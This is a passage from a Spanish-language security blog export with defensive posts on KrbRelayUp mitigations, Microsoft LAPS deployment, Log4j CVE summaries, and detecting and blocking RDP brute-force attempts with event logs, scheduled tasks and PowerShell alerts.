máquina\u0026rdquo;, sin éxito. Es posible que la incorporación de Sysmon nos pueda dar más detalles para su detección y poder crear un indicador de compromiso válido. Para el uso de reglas Sigma y otros eventos de Windows aconsejo consultar el repositorio donde se mantiene actualizada esta información. https://github.com/Dec0ne/KrbRelayUp#mitigation--detection Mitigación y verificación Link to heading Para evitar el aprovechamiento de esta mala configuración por defecto en entornos de dominio, podemos elegir diversas opciones de mitigación: Opción 1. Requerir firma LDAP del servidor. Opción 2: Eliminar los permisos de los \u0026ldquo;usuarios autenticados\u0026rdquo; para que no puedan unir máquinas al dominio. Opción 3. Limitar el valor del atributo MS-DS-Machine-Account-Quota. Opción 1. Requerir firma LDAP del servidor Link to heading Debemos aplicar únicamente la siguiente política en la GPO \u0026ldquo;Default Domain Controllers Policy\u0026rdquo;: Policies \u0026gt; Windows Settings \u0026gt; Security Settings \u0026gt; Local Policies \u0026gt; Security Options \u0026gt; \u0026#34;Domain controller: LDAP server signing requirements\u0026#34; y establecerla como \u0026#34;Require signing\u0026#34; De esta forma se rechazan las solicitudes de LDAP simples y solicitudes LDAP a través de SSL. Esto puede tener impacto en sistemas Windows XP o Server 2003. Impacto en sistemas legacy Forzar LDAP signing required rompe clientes y aplicaciones que se autentican con LDAP simple (sin firma): Windows XP, Server 2003, integraciones LDAP de equipos UNIX/Linux antiguos, dispositivos de red, impresoras corporativas, ciertas apps que usan simple bind. Valida en preproducción antes de aplicarlo en DCs de producción. No es necesario aplicar ambas políticas: Network Security: LDAP client signing requirements y Domain controller: LDAP server signing requirements en la GPO Default Domain Policy. Figura 4: Mitigación KrbRelayUp - Aplicar política \u0026ldquo;Domain controller: LDAP server signing requirements\u0026rdquo;. Verificamos la mitigación y vemos que al aplicar esta política la conexión LDAP falla. En la segunda fase del exploit tampoco es posible realizar la conexión solicitando el ticket Kerberos TGT para autenticarnos en la máquina creada y poder levantar la terminal privilegiada SYSTEM. Aunque el ataque no fue exitoso, sí ha sido posible crear una nueva máquina en el dominio, no nos daría persistencia ya que la autenticación no se va a poder realizar en ningún caso, pero en caso de ejecutar el ataque se estarían creando de forma residual estas máquinas en la OU por defecto de \u0026ldquo;Computers\u0026rdquo;. Figura 5: Verificación mitigación - LDAP server signing requirements. Opción 2. Eliminar los permisos de los \u0026ldquo;usuarios autenticados\u0026rdquo; para que no puedan unir máquinas al dominio Link to heading De todas las opciones de mitigación que se comentan en este artículo, es la que aplicaría por escalabilidad y gestión centralizada de permisos a través de grupos de seguridad de Active Directory. Debemos aplicar únicamente la siguiente política en la GPO \u0026ldquo;Default Domain Controllers Policy\u0026rdquo;: Policies \u0026gt; Windows Settings \u0026gt; Security Settings \u0026gt; Local Policies \u0026gt; User Rights Assignment \u0026gt; \u0026#34;Add workstations to domain\u0026#34; Por defecto esta política establece que todos los \u0026ldquo;usuarios autenticados\u0026rdquo; tienen la capacidad de unir máquinas al dominio. Una solución sería eliminar este grupo y agregar los grupos autorizados para realizar esta tarea. En este caso agregué \u0026ldquo;Domain Admins\u0026rdquo; y un grupo específico creado en AD de este modo podremos agregar otros grupos o usuarios específicos y autorizados pudiendo así granular los permisos para realizar esta tarea. Figura 6: Mitigación KrbRelayUp - Limitar permisos para la política \u0026ldquo;Add workstations to domain\u0026rdquo;. Con esta política propagada y aplicada en los DCs, si probamos a ejecutar nuevamente el exploit vemos que falla mostrando un mensaje de que el usuario no tiene permisos suficientes (esto se refiere a que no es posible que este usuario pueda crear máquinas unidas al dominio). Lógicamente esta opción no llegará ni siquiera a crear la máquina en AD. Por lo que ya estaríamos eliminando una posible persistencia en el dominio por parte del atacante. Figura 7: Verificación mitigación - Permisos insuficientes para poder unir máquinas al dominio. Opción 3. Limitar el valor del atributo MS-DS-Machine-Account-Quota Link to heading Otra mitigación que dificultaría los requisitos del ataque sería limitar el número de máquinas que un usuario pueda unir al dominio. Si optamos por esta opción debemos establecer un valor 0 al atributo del dominio ms-DS-MachineAccountQuota. Este atributo lo podemos encontrar y editar directamente desde las propiedades del dominio en una consola de Active Directory (dsa.msc) o también acceder a él desde la consola de editor ADSI (adsiedit.msc). Figura 8: Mitigación KrbRelayUp - Limitar el valor del atributo ms-DS-MachineAccountQuota. Si verificamos la aplicación de este cambio vemos cómo al intentar ejecutar el exploit el servidor no puede gestionar esta solicitud, esto estaría bloqueando el ataque y tampoco crearía la máquina en AD evitando así, al igual que la opción anterior, una posible persistencia en el dominio. Figura 9: Verificación mitigación - ms-DS-MachineAccountQuota = 0. Si con el mismo usuario, desde otra máquina nueva, intentamos unirla al dominio de modo gráfico nos muestra el siguiente error indicando que hemos superado el número máximo de cuentas de máquina que puedes crear o unir en este dominio. Figura 10: Verificación mitigación - Mensaje de error al intentar unir una máquina al dominio. ¿Cómo identificar quién agregó una nueva máquina al dominio? Link to heading El usuario \u0026ldquo;user.sinpriv\u0026rdquo; es un usuario de dominio sin ningún otro privilegio otorgado, sin embargo el exploit hace uso del cmdlet New-ADComputer sumado a esta configuración por defecto en entornos de dominio este usuario puede crear máquinas en Active Directory. Podemos identificar y verificar quién ha creado una máquina en AD examinando el atributo ms-DS-CreatorSID. Get-ADComputer \u0026lt;Host\u0026gt; -Properties mS-DS-CreatorSID | Select-Object -Expandproperty mS-DS-CreatorSID | Select-Object -ExpandProperty Value | Foreach-Object {Get-ADUser -Filter {SID -eq $_}} Figura 11: Identificar al usuario en la creación de nuevas máquinas unidas al dominio. Saludos! "},{"title":"Microsoft LAPS: evitar movimientos laterales en Active Directory","url":"/posts/microsoft-laps-evitar-movimientos-laterales-active-directory/","summary":"Microsoft LAPS (Local Administrator Password Solution) se trata de una herramienta de Microsoft que pone solución a la gestión de contraseñas administrador local de los equipos unidos a un dominio. …","tags":["Hardening","Blue Team","Active Directory","GPO","ACLs","Pass-the-Hash","Movimiento lateral","LAPS"],"date":"2022-01-11","content":"Microsoft LAPS (Local Administrator Password Solution) se trata de una herramienta de Microsoft que pone solución a la gestión de contraseñas administrador local de los equipos unidos a un dominio. Entendiendo el riesgo de seguridad y escenarios comunes en las organizaciones Link to heading En la mayoría de compañías es una práctica común establecer la misma contraseña para la cuenta del administrador local en todos los equipos que forman parte de un dominio, principio de localidad entre máquinas, ya puedan ser clientes o servidores (exceptuando los Domain Controller que por defecto carecen de una cuenta de administrador local). Se considera una reducción del riesgo alto la implementación de este tipo de soluciones que evita configurar una misma contraseña para la cuenta de administrador local en todas las máquinas, al hacer que cada máquina use una contraseña diferente y compleja para la cuenta de administrador local se establece una importante medida defensiva que evita principalmente el movimiento lateral entre equipos (pivoting), una vez se obtuviese una contraseña o un hash NTLM válido en el que poder realizar técnicas de Pass the Hash (PtH). Este tipo de soluciones es conocida por muchas empresas pero implementada por muy pocas en la realidad, no tanto por su complejidad sino por el impacto significativo que supone en la operativa diaria de gestión del cambio en la administración remota de los equipos, despliegues automáticos mal configurados en las que se haga uso de la contraseña de administrador local parametrizada, mantenimiento en los posibles endpoints que se encuentren fuera de la oficina en la que la conexión con la VPN a la red central se realice en pocas ocasiones y sea necesario gestionarlo a través de una cuenta local privilegiada, etc. En cualquier caso para entornos on-premise existen alternativas de gestión remota para estos equipos como puede ser la creación de un grupo en AD en el cual se añada a través de GPO al grupo administradores locales de las máquinas de modo que cada usuario que pertenezca a ese grupo principal pueda autenticarse en el equipo con su contraseña de dominio de forma nominal. En el caso de disponer de un entorno híbrido integrado con algún proveedor cloud MDM no solo se simplifica la gestión de los equipos sino que se gana en monitorización y administración de seguridad de los mismos. Impacto en automatizaciones Desplegar LAPS rompe cualquier automatización que dependa de una contraseña local fija: scripts de mantenimiento, conexiones programadas, GPO con credenciales hardcoded, agentes que se autentican localmente. Inventaría dependencias antes de empujar la GPO. Características de LAPS Link to heading LAPS determina si la contraseña de la cuenta del administrador local ha caducado. Si la contraseña ha caducado, cambia la contraseña del administrador local a un nuevo valor aleatorio y transmite la nueva contraseña y la fecha de caducidad a Active Directory donde se almacena en unos atributos especiales asociados con el objeto de equipo de AD. Las contraseñas se almacenan en Active Directory y están protegidas por listas de control de acceso (ACLs) por lo que solo los usuarios elegibles pueden leerlas o solicitar su restablecimiento. Gestión centralizada y almacenamiento de las contraseñas de los administradores locales de forma segura dentro de AD DS. Las contraseñas se almacenan en valores de atributos que sólo estarán visibles para los usuarios o grupos de seguridad que se definan a través de Active Directory. Las contraseñas de los administradores locales son únicas en cada máquina. Las contraseñas se cambian de forma automática, estableciendo contraseñas aleatorias y complejas en base a patrones que previamente estén definidos en su propia plantilla GPO (AdmPwd.admx). Transmite las contraseñas al cliente de manera segura y cifrada. Permite controlar los permisos en usuarios o grupos para el acceso a la visualización y restablecimiento de las contraseñas. Dispone de sus propios ID de eventos para su análisis en auditorías. Instalación de LAPS Link to heading Instalador de LAPS (Local Administrator Password Solution). https://www.microsoft.com/en-us/download/details.aspx?id=46899 Documentación oficial LAPS: https://download.microsoft.com/download/C/7/A/C7AAD914-A8A6-4904-88A1-29E657445D03/LAPS_OperationsGuide.docx En uno de los controladores de dominio, preferiblemente un PDC (Primary Domain Controller), instalamos y agregamos las características del cliente pesado, módulo de PowerShell y las plantillas del editor de políticas de grupo. GPO CSE (Client-Side Extension) solo deberá estar presente en cada endpoint gestionado. Figura 1: Instalar características para la gestión LAPS. Figura 2: LAPS instalado. Importamos el módulo AdmPwd.ps, se actualiza el esquema de Active Directory, y se definen las unidades organizativas donde se quieran aplicar los permisos para la gestión de LAPS. Import-Module AdmPwd.ps Update-AdmPwdADSchema Set-AdmPwdComputerSelfPermission -Identity \u0026#34;\u0026lt;OU_AD\u0026gt;\u0026#34; Figura 3: Importar módulo AdmPwd y actualizarlo en el esquema de AD. El permiso de escritura en los atributos ms-Mcs-AdmPwdExpirationTime y ms-Mcs-AdmPwd de todas las cuentas del equipo tiene que ser añadido a la cuenta integrada. Esto es necesario para que la máquina pueda actualizar la contraseña y la fecha de caducidad de su propia contraseña de administrador local gestionada. Para visualizar todos los cmdlets disponibles de un módulo podemos usar Get-Command y especificar el módulo. Get-Command -Module AdmPwd.ps Figura 4: Ver todos los cmdlets disponibles de un módulo. Configuración GPO LAPS en Active Directory Link to heading Se crea una nueva GPO desde el editor de administrador de políticas de grupo (gpmc.msc). Al instalar la plantilla AdmPwd.admx de LAPS se añaden las nuevas políticas para establecer su configuración. Computer Configuration \u0026gt; Policies \u0026gt; Administrative Templates \u0026gt; LAPS Se habilita la política y en el caso de que el administrador local no sea el nombre por defecto (Administrator o Administrador) indicamos el nombre de la cuenta local tipo administrador que esté configurada en los equipos del dominio y los parámetros de las passwords como la: complejidad, longitud y expiración. Figura 5: Crear y configurar GPO LAPS. Desplegar el MSI de LAPS al resto de equipos del dominio a través de GPO Link to heading Es necesario desplegar el mismo instalador al resto de los equipos del dominio donde se necesite implementar LAPS ya sea en su versión de x64 o x86 y solamente con la característica por defecto habilitada. La operativa de despliegue dependerá de la herramienta que estemos usando para la gestión de endpoints de la infraestructura ya sea con SCCM System Center, Microsoft Intune, Puppet, etc. msiexec /i \u0026lt;PATH\u0026gt;\\LAPS.x64.msi /quiet msiexec /i \u0026lt;PATH\u0026gt;\\LAPS.x86.msi /quiet Para este ejemplo al tratarse de un fichero Microsoft Installer .msi se puede desplegar directamente a través de otra GPO. Computer Configuration \u0026gt; Policies \u0026gt; Software Settings \u0026gt; Software installation Se indica la ruta donde está el instalador, el tipo de deployment será \u0026ldquo;Assigned\u0026rdquo; (sin modificaciones en sus características de instalación) ya que con la configuración por defecto solo instalaría la característica del cliente (GPO CSE). Figura 6: Desplegar LAPS a los equipos del dominio a través de GPO. Funcionamiento y administración de LAPS Link to heading En los objetos tipo \u0026ldquo;Computer\u0026rdquo; de la unidad organizativa de Active Directory donde se delegaron los permisos para LAPS podemos comprobar que se han añadido dos nuevos atributos: ms-Mcs-AdmPwd: Almacena la password local del equipo. ms-Mcs-AdmPwdExpirationTime: Tiempo en el que la password expirará y será renovada por otra password aleatoria cumpliendo los requisitos establecidos en la GPO. A través del Editor de interfaces de servicios de Active Directory ADSI (adsiedit.msc) comprobamos cómo se han creado estos atributos y ver su valor desde la pestaña de editor de atributos de la propia ficha del objeto en la consola de Active Directory (dsa.msc). Figura 7: Atributos de objeto donde se almacenará la password local aleatoria y rotatoria. LAPS UI es la interfaz gráfica para una gestión más sencilla de LAPS donde podemos buscar por hostname un equipo del dominio para visualizar su password de administrador local, fecha de expiración y también restablecer su password (en caso de que tengamos permisos de escritura sobre los atributos comentados anteriormente). Otra forma de visualizar las passwords es a través de PowerShell haciendo uso de los cmdlets que se importan a través del módulo AdmPwd.ps en la instalación de LAPS. Get-AdmPwdPassword \u0026lt;HOSTNAME\u0026gt; | fl Get-AdmPwdPassword \u0026lt;HOSTNAME\u0026gt;.Password Figura 8: LAPS UI para ver y restablecer las passwords locales de los equipos de AD. También es posible restablecer la password de administrador local de un equipo del dominio desde PowerShell. Reset-AdmPwdPassword -ComputerName:\u0026lt;HOSTNAME\u0026gt; Establecer permisos específicos según roles (RBAC) Link to heading Solo los usuarios privilegiados del dominio como los Domain Admins tienen permisos de lectura y escritura sobre los valores de los atributos donde se almacena la password y la fecha de expiración. En el caso de que se necesite conceder la capacidad de poder ver o editar estos valores de atributos a usuarios que no sean administradores, sino usuarios menos privilegiados a nivel de dominio que proporcionen mantenimiento y soporte a otros empleados de la compañía, se pueden crear grupos de seguridad en Active Directory de solo lectura (LAPS_R) y otro de lectura y escritura (LAPS_RW) donde se puedan asignar estos usuarios de soporte y de esta manera tener un control de permisos más granular. En este caso asignamos el permiso de solo lectura sobre estos atributos al grupo \u0026ldquo;LAPS_R\u0026rdquo;. Es posible conceder estos permisos de dos modos: Una forma automática a través del siguiente cmdlet donde se hará referencia el grupo de AD y la OU. Set-AdmPwdReadPasswordPermission -Identity \u0026#34;\u0026lt;OU_AD\u0026gt;\u0026#34; -AllowedPrincipals \u0026#34;\u0026lt;Grupo_Solo_Lectura\u0026gt;\u0026#34; Con el siguiente cmdlet verificamos la asignación de permisos asignados a la OU. Find-AdmPwdExtendedRights -Identity \u0026#34;\u0026lt;OU_AD\u0026gt;\u0026#34; Figura 9: Establecer un grupo de permiso de lectura para LAPS. La otra opción sería hacerlo de manera manual estableciendo las DACLs de la OU. En este caso agregando el grupo LAPS_R a las propiedades de seguridad de la OU y en los permisos avanzados permitir las siguientes ACEs Read ms-Mcs-AdmPwd y Read ms-Mcs-AdmPwdExpirationTime. Figura 10: LAPS - ACEs de lectura establecida a un grupo en una OU de AD. En el caso que necesitemos agregar un grupo de usuarios para poder restablecer passwords, es decir otorgar permisos de escritura sobre los valores de los atributos de LAPS, usaremos el siguiente cmdlet. Set-AdmPwdResetPasswordPermission -Identity \u0026#34;\u0026lt;OU_AD\u0026gt;\u0026#34; -AllowedPrincipals \u0026#34;\u0026lt;Grupo_Lectura_Escritura\u0026gt;\u0026#34; Comprobar los permisos establecidos Link to heading Para comprobar los permisos asignados anteriormente, el usuario de dominio \u0026ldquo;user2\u0026rdquo; no forma parte del grupo \u0026ldquo;LAPS_R\u0026rdquo; por lo tanto desde la consola de Active Directory no podrá visualizar los atributos de LAPS del equipo \u0026ldquo;PC10D2\u0026rdquo;. Figura 11: Comprobación de lectura sin permisos en el atributo de password de AD. Para cambiar esto y conceder permisos de lectura. Se asigna el usuario \u0026ldquo;user2\u0026rdquo; al grupo \u0026ldquo;LAPS_R\u0026rdquo; de AD, se reinicia sesión con este usuario para aplicar los cambios y vemos como es posible visualizar desde el editor de atributos del tipo de objeto equipo el valor de la contraseña y la fecha de expiración. Figura 12: Comprobación de lectura correcta en el atributo de password de AD. Auditoría de eventos LAPS Link to heading La activación de auditoría de los usuarios que consultan y leen con éxito la contraseña de Administrador local de un equipo se puede activar mediante el siguiente cmdlet parte del módulo de AdmPwd.ps. Set-AdmPwdAuditing -OrgUnit: \u0026lt;OU_AD\u0026gt; -AuditedPrincipals: \u0026lt;GRUPO/USUARIO\u0026gt; Cuando una contraseña se lee con éxito, se registra un ID de evento 4662 en el registro de seguridad del controlador de dominio. Figura 13: Auditar eventos LAPS de consulta y lectura exitosa de la contraseña. Saludos! "},{"title":"Apache Log4j: vulnerabilidades de Log4Shell","url":"/posts/apache-log4j-vulnerabilidades-log4shell/","summary":"No suelo realizar publicaciones de este tipo pero considero este caso como una excepción.\n\u0026ldquo;Log4j\u0026rdquo; o \u0026ldquo;Log4Shell\u0026rdquo; se han convertido en trending topic no solo en las comunidades …","tags":["Blue Team","Hardening","Threat Hunting"],"date":"2021-12-23","content":"No suelo realizar publicaciones de este tipo pero considero este caso como una excepción. \u0026ldquo;Log4j\u0026rdquo; o \u0026ldquo;Log4Shell\u0026rdquo; se han convertido en trending topic no solo en las comunidades de Ciberseguridad sino también en los entornos tecnológicos en general. Si hablásemos de un \u0026ldquo;Top Vulnerabilidades 2021\u0026rdquo; está claro que se lo llevarían las asociadas a Apache Log4j, el revuelo de esto no está tanto por el número de vulnerabilidades publicadas y su gravedad, sino por el impacto de afectación que está teniendo en una enorme cantidad de productos y servicios. El mayor problema es identificar las aplicaciones que lo usan, en muchos casos las empresas carecen de un inventario actualizado de las aplicaciones que utilizan. El inventario es fundamental en materia seguridad. Por esta razón he realizado un resumen de las vulnerabilidades asociadas a Log4j publicadas hasta la fecha. (Este post se irá actualizado según se vayan publicando nuevas vulnerabilidades relacionadas) CVE-2021-44228 Link to heading Base Score: Crítico, 10.0 Publicación: 10/12/2021 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H Versiones afectadas: Apache Log4j2 2.0-beta9 a 2.12.1 y 2.13.0 a 2.15.0. CWE: Deserialización de datos, validación de entrada incorrecta, consumo incontrolado de recursos. Vulnerabilidad Log4Shell original es una falla de deserialización. Otorga capacidades de ejecución remota de código (RCE) a atacantes no autenticados. Se encuentra explotable en componentes log4j-core, limitado a las versiones 2.x: desde la 2.0-beta9 hasta la 2.14.1 inclusive. Se implementó una solución para Log4Shell en la versión 2.15.0, pero actualmente se considera incompleta. CVE-2021-45046 Link to heading Base Score: Crítico, 9.0 Publicación: 14/12/2021 Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H Versiones afectadas: 2.0.1 - 2.12.2 (excluido) y 2.13.0 - 2.16.0 (excluido). CWE: Deserialización de datos. Tras la explotación provoca una denegación de servicio (DoS). Log4j 2.16.0 soluciona este problema eliminando la compatibilidad con los patrones de búsqueda de mensajes y desactivando la funcionalidad JNDI de forma predeterminada. CVE-2021-4104 Link to heading Base Score: Alto, 8.1 Publicación: 14/12/2021 Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H Versiones afectadas: JMSAppender en Log4j 1.2. CWE: Deserialización de datos. Aunque anteriormente se pensaba que Log4j 1.x era seguro, ya no es así. Esencialmente, la configuración no predeterminada de las instancias de Log4j 1.x que utilizan la clase JMSAppender también se vuelve susceptible a la falla de deserialización que no es de confianza. Este CVE afecta todas las versiones de los componentes log4j:log4j y org.apache.log4j:log4j para los cuales solo existen versiones 1.x. Debido a que estas son versiones al final de su vida útil, no existe una solución para la rama 1.x en ninguna parte, y se debe actualizar a Log4j-core 2.16.0 o superior. Es posible protegerse eliminando JMSAppender por completo de log4j-1.2.17.jar, con el siguiente comando. https://www.slf4j.org/log4shell.html zip -d log4j-1.2.17.jar org/apache/log4j/net/JMSAppender.class CVE-2021-42550 Link to heading Base Score: Medio, 6.6 Publicación: 16/12/2021 Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H Versiones afectadas: Versión 1.2.7 de Logback y versiones anteriores. CWE: Deserialización de datos. Esta es una vulnerabilidad en el framework Logback, un sucesor de la biblioteca Log4j 1.x. Se han publicado versiones más recientes de Logback v1.3.0-alpha11 y v1.2.9 que abordan esta vulnerabilidad menos grave. CVE-2021-45105 Link to heading Base Score: Alto, 7.5 Publicación: 18/12/2021 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Versiones afectadas: Log4j2 2.0-alpha1 hasta 2.16.0 (incluido). CWE: Validación de entrada incorrecta, recurrencia incontrolada. Se descubrió que Log4j 2.16.0 era vulnerable a una falla DoS calificada como Alta. Apache ha lanzado una versión log4j 2.17.0 que corrige esta vulnerabilidad. https://logging.apache.org/log4j/2.x/security.html CVE-2021-44832 Link to heading Base Score: Medio, 6.6 Publicación: 28/12/2021 Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H Versiones afectadas: Log4j2 2.0-beta7 hasta la 2.17.0 (excluyendo las versiones de corrección de seguridad 2.3.2 y 2.12.4). CWE: Validación de entrada incorrecta, RCE (Ejecución remota de código). Vulnerabilidad de ejecución remota de código (RCE) en el que un atacante con permiso para modificar el archivo de configuración de registro puede construir una configuración maliciosa utilizando un JDBC Appender con una fuente de datos que haga referencia a un URI JNDI que pueda ejecutar código remoto. Se trata una vulnerabilidad RCE con un score medio debido a su complejidad de explotación y al nivel de alto privilegio que el atacante debería conseguir previamente para explotar esta vulnerabilidad de forma exitosa. Este problema se soluciona limitando los nombres de fuentes de datos JNDI al protocolo java en las versiones 2.17.1, 2.12.4 y 2.3.2 de Log4j2. Saludos! "},{"title":"Detectar, alertar y bloquear fuerza bruta a RDP","url":"/posts/detectar-alertar-bloquear-fuerza-bruta-rdp/","summary":"Antes de nada comentar que es una muy mala práctica y está totalmente desaconsejado publicar hacia internet servicios de escritorio remoto. RDP es de los servicios más comprometidos por atacantes …","tags":["Hardening","Blue Team","Threat Hunting","RDP","Event Logs","Fuerza bruta","IoA"],"date":"2021-11-16","content":"Antes de nada comentar que es una muy mala práctica y está totalmente desaconsejado publicar hacia internet servicios de escritorio remoto. RDP es de los servicios más comprometidos por atacantes externos, con más intentos de ataques y que facilitan un vector de entrada directo a la red de una empresa si el acceso se configura de esta forma. En el caso de tener que publicar RDP a internet -sin una VPN o una conexión intermedia hacia un equipo bastión- aunque sea de una manera temporal, hay que hacerlo de la forma \u0026ldquo;más segura\u0026rdquo; posible. Hardening o bastionado en servicios de Escritorio remoto RDP Link to heading Lista de acceso de usuarios mediante NLA y privilegios Habilitar autenticación a nivel de red NLA (Network Level Authentication) por defecto ya lo está en servidores. Añadir solo a los usuarios permitidos en el grupo \u0026ldquo;Usuarios de escritorio remoto\u0026rdquo;. Establecer contraseñas largas y robustas para los usuarios que se les permita autenticarse. Restringir el inicio de sesión a través de RDP a usuarios Administradores y permitirlo solamente a usuarios específicos. Estos usuarios no deben de ser Administradores locales o dominio. En caso de necesitar elevar privilegios hacer uso de UAC una vez iniciada la sesión en los binarios o aplicaciones que necesitemos ejecutar en dicho contexto de integridad. Establecer un port forwarding en otro puerto que no sea el 3389 RDP por defecto. Bloqueo de cuenta por intentos fallidos de inicio de sesión Vía directiva de grupo GPO. A través del registro de Windows. Establecer un umbral de tiempo de desbloqueo considerable para evitar ataques de fuerza bruta automatizados y repetitivos en cortos intervalos de tiempo. Otras medidas de seguridad adicionales para un bastionado en servicios RDP Establecer límite de tiempo para sesiones activas, pero en inactividad. No permitir que se guarden las contraseñas. Solicitar la contraseña siempre al conectar. Requerir comunicación RPC segura. Requerir el uso de un nivel de seguridad específico para conexiones remotas (RDP). Habilitar el nivel de cifrado \u0026ldquo;Alto\u0026rdquo;. Permitir solo un ámbito determinado de direcciones IPs remotas en el Firewall del servidor RDP. No permitir redirecciones de componentes: No permitir redirección de unidades. No permitir redirección portapapeles. No permitir redirección COM. No permitir redirección LPT. No permitir redirección dispositivos Plug and Play. No permitir redirección dispositivos USB RemoteFX. No permitir redirección de impresoras de red. Este artículo no se centra en la identificación, investigación y seguimiento de los eventos relacionados con el servicio RDP, para eso dejo esta buena referencia de estudio sobre logs RDP. Al igual que unas diapositivas que representan los diagramas de flujo de conexiones RDP. Está enfocado especialmente a los intentos de conexión originados desde máquinas externas hacia servicios RDP expuestos de forma pública a internet, aunque también es aplicable a conexiones de equipos remotos entre redes internas. Detectar evento de intento de conexión TCP hacia RDP Link to heading Cuando se realiza un intento de conexión RDP hacia un equipo y este tiene la autenticación NLA habilitada lo primero que se genera son eventos de conexión de red, después de autenticación y finalmente un login satisfactorio, fallido o reconexiones de sesión. Haciendo referencia al conjunto de diapositivas anteriores de diagramas de flujo de conexiones RDP. Se destacan principalmente dos eventos del ProviderName \u0026ldquo;Microsoft-Windows-TerminalServices-RemoteConnectionManager\u0026rdquo; el event ID 261 y 1149. Event ID 261: Se trata del primer evento que se produce indicando que el puerto RDP-Tcp que estaba escuchando recibió una conexión. Event ID 1149: NO indica una autenticación exitosa a un objetivo, simplemente una conexión de red RDP exitosa. Figura 1: Event ID 261 y 1149. El evento 1149 es interesante ya que nos muestra el login de usuario empleado en el intento de conexión hacia los servicios RDP, pero ninguno de estos eventos nos da información sobre la IP origen remota que realizó esta conexión al intentar autenticarse. En el siguiente flujograma se puede observar que con NLA habilitado el primer evento de conexión de red que se genera es el event ID 131 correspondiente al ProviderName \u0026ldquo;Microsoft-Windows-RemoteDesktopServices-RdpCoreTS\u0026rdquo;. Figura 2: Flujograma de alerta de eventos y bloqueo de una conexión RDP ( fuente imagen ). El event ID 131 ya nos aporta la dirección IP remota y puerto TCP origen que realizó la solicitud de conexión a los servicios de escritorio remoto. Teniendo esta información ya podremos automatizar una detección, generar una alerta y bloquear la conexión localmente en el Firewall de Windows como veremos más adelante. Figura 3: Detectando evento de conexión TCP hacia RDP (event id 131). Automatizar las detecciones y crear alertas de los intentos de conexión RDP Link to heading Para detectar este evento de forma automática y alertarnos de ello, primero se creará un fichero por lotes .bat el cual simplemente se usará para realizar la llamada al script Powershell a través de la acción de la tarea programada que se creará más adelante. Script .bat. powershell.exe -ExecutionPolicy Bypass -File \u0026#34;C:\\Users\\adrian\\Tools\\Scripts\\RDPBruteForce\\Hunting_RDPBruteForce.ps1\u0026#34; Comentaré dos formas para generar las notificaciones de alerta: vía Slack o correo Gmail y aunque se trate de una cuenta sin importancia y dedicada a ello tenemos que intentar no hardcodear passwords en texto plano en los scripts por lo que crearemos una password cifrada y almacenada en un fichero que solo podrá ser leída desde el equipo local que la creó. \u0026#34; MiPassword \u0026#34; | ConvertTo-SecureString -AsPlainText -Force | ConvertFrom-SecureString | Out-File \u0026#34;C:\\Users\\adrian\\Tools\\Scripts\\RDPBruteForce\\email.pass\u0026#34; El siguiente script Powershell enviará una alerta de email notificando un nuevo intento de conexión correspondiente al event ID 131. $PSDefaultParameterValues[\u0026#39;*:Encoding\u0026#39;] = \u0026#39;utf8\u0026#39; $usuarioEmail = \u0026#34; EMAIL @gmail.com\u0026#34; $passwdEmailFile = \u0026#34;C:\\ PATH \\email.pass\u0026#34; $secPasswdEmail = Get-Content $passwdEmailFile | ConvertTo-SecureString $credencialesEmail = New-Object System.Management.Automation.PSCredential ($usuarioEmail, $secPasswdEmail) $asuntoEmail = \u0026#34;Intento de conexión RDP\u0026#34; $cuerpoEmail = Get-WinEvent -ProviderName \u0026#34;Microsoft-Windows-RemoteDesktopServices-RdpCoreTS\u0026#34; | Where-Object {$_.Id -eq \u0026#34;131\u0026#34;} | Format-List | Select -First 3 | Out-String Send-MailMessage -From $usuarioEmail -To $usuarioEmail -Subject \u0026#34;$asuntoEmail - $fechaHoraActual\u0026#34; -Body \u0026#34;$cuerpoEmail\u0026#34; -SmtpServer smtp.gmail.com -UseSsl -Credential $credencialesEmail Creamos un filtro indicando el ID de evento 131 a partir de ahí adjuntamos este filtro personalizado a una nueva tarea programada de modo que la tarea se ejecutará solamente cuando se produzca dicho evento. Figura 4: Crear tarea programada a partir de un filtro personalizado. Cargar el fichero de llamada .bat. Es opcional pero recomiendo especificar el path absoluto donde inicia el script. Figura 5: Iniciar el script .bat de llamada al script Powershell en la acción de la tarea programada. En las opciones de seguridad la tarea se ejecutará tanto si el usuario inició sesión como si no. Figura 6: Tipo de usuario para la ejecución de la tarea programada. Notificación de alertas de intentos de conexión RDP Link to heading Configuración de alertas vía Gmail Link to heading Una vez se genere un nuevo evento 131 se ejecutará la tarea y el script asociado que disparará la alerta de correo. Para el envío de alerta por correo vía Gmail a través del script Powershell es necesario activar el acceso a \u0026ldquo;Aplicaciones menos seguras\u0026rdquo; en la cuenta de Google. Por seguridad se debería crear una cuenta específica para esta finalidad. Figura 7: Ejemplo de notificación de alerta vía Gmail alerta intento de conexión RDP. Configuración de alertas vía Slack Link to heading Creación de una nueva app para Slack y configuración de incoming webhook URL. Figura 8: Crear canal, app y añadir nuevo Webhook a Slack. Sustituiríamos el anterior script Powershell de notificaciones vía email Gmail por este otro siendo este al que llamaría el fichero .bat en la tarea programada. $eventRdp = Get-WinEvent -ProviderName \u0026#34;Microsoft-Windows-RemoteDesktopServices-RdpCoreTS\u0026#34; | Where-Object {$_.Id -eq \u0026#34;131\u0026#34;} | Format-List | Select -First 3 | Out-String $uriSlack = \u0026#34; Webhook_URI \u0026#34; $message = ConvertTo-Json @{ text = $eventRdp } try { Invoke-RestMethod -uri $uriSlack -Method Post -body $message -ContentType \u0026#39;application/json\u0026#39; | Out-Null } catch { Write-Warning \u0026#34;Notification to Slack went wrong.\u0026#34; } Figura 9: Ejemplo de notificación vía Slack alerta intento de conexión RDP. Bloqueo de IPs externas en intentos de fuerza bruta a RDP Link to heading Al tener el servicio de RDP activo en WFAS (Windows Defender Firewall con seguridad avanzada) podemos encontrar habilitada la regla por defecto de Escritorio remoto (TCP de entrada) permitiendo la conexión por el puerto 3389/tcp por defecto. Figura 10: Regla por defecto RDP puerto TCP 3389. Manualmente creamos una nueva regla pero esta vez en un modo de acción de \u0026ldquo;Bloquear la conexión\u0026rdquo;. Las reglas de bloquear conexión o denegación tendrán un orden de preferencia frente a las reglas de permitir conexión. Figura 11: Crear 